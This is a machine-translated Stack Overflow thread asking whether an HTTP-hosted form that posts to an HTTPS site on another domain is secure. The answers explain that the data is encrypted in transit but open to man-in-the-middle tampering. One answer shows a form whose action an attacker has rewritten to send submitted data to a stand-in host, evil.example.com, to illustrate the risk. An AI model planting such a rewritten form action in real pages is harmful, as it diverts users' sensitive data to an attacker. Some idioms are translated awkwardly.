提交的表单是否跨域安全?

时间:2015-08-08 15:35:38

标签: html forms security

我有一个网站http://foo.com。我有另一个网站https://bar.com。如果我将表格从非安全的foo.com提交到安全的bar.com,交易是否加密?

示例:

http://foo.com/form.html

<form action="https://bar.com/process.php" method="post">
...inputs, validation, and form happiness...
</form>

我的用例是通过电子邮件发送给用户的表单,其中可能包含需要提交到我们网站(具有SSL)的敏感信息。该表单将是一个附件,可以从他们的桌面打开并填写,然后提交给我们的服务器。有没有办法加密这种沟通?

我发现了两个可能相关的问题,这些问题给出了相互矛盾的答案:

  1. Secure Cross Domain Form Submission

      

    [是的,它是安全的,但是]本质上不安全。主机上的SSL不相关,第三方服务器上的SSL是。但是,您必须将帖子设置为“https:// ...”而不仅仅是“http://”,它不足以成为“安全服务器”,您必须安全地调用它。

  2. Securing Forms submitting to a diffrent domain

      

    一种简单的方法是使用HTTPS,但只要两者都可以是HTTPS。他们还必须都有SSL证书。

2 个答案:

答案 0 :(得分:1)

由于表单将发布到安全服务器https://bar.com/process.php,因此数据将与请求一起加密。另一方面,即使表单已托管在受保护的https://bar.com/form.html上但已发布到非安全http://foo.com/process.html

,它也不会安全。

以下摘录自Mozilla开发者网络上的“发送表单数据”

  

注意:可以指定使用HTTPS的URL(安全HTTP)   协议。执行此操作时,数据将与其余数据一起加密   请求,即使表单本身托管在不安全的页面上   使用HTTP访问。另一方面,如果表单是托管的   安全页面,但您使用操作指定了不安全的HTTP URL   属性,所有浏览器都向用户显示安全警告   他们尝试发送数据的时间,因为数据不会被加密。   参考:Sending form data: MDN Article

答案 1 :(得分:1)

是的,它是加密的。不,这不安全。

原因是用户无法保证表单是安全的。一个Man-In-The-Middle可以截获http://foo.com的回复并将表单更改为:

<form action="https://evil.example.com/process.php" method="post">
...inputs, validation, and form happiness...
</form>

并且用户不会更明智地发送不安全的数据,直到马用螺栓固定。 evil.example.com可能会重定向回https://bar.com以降低其检测机会。

底线:始终将敏感表单放在HTTPS页面上。这样可以确保用户提交的数据在传输过程中是安全的。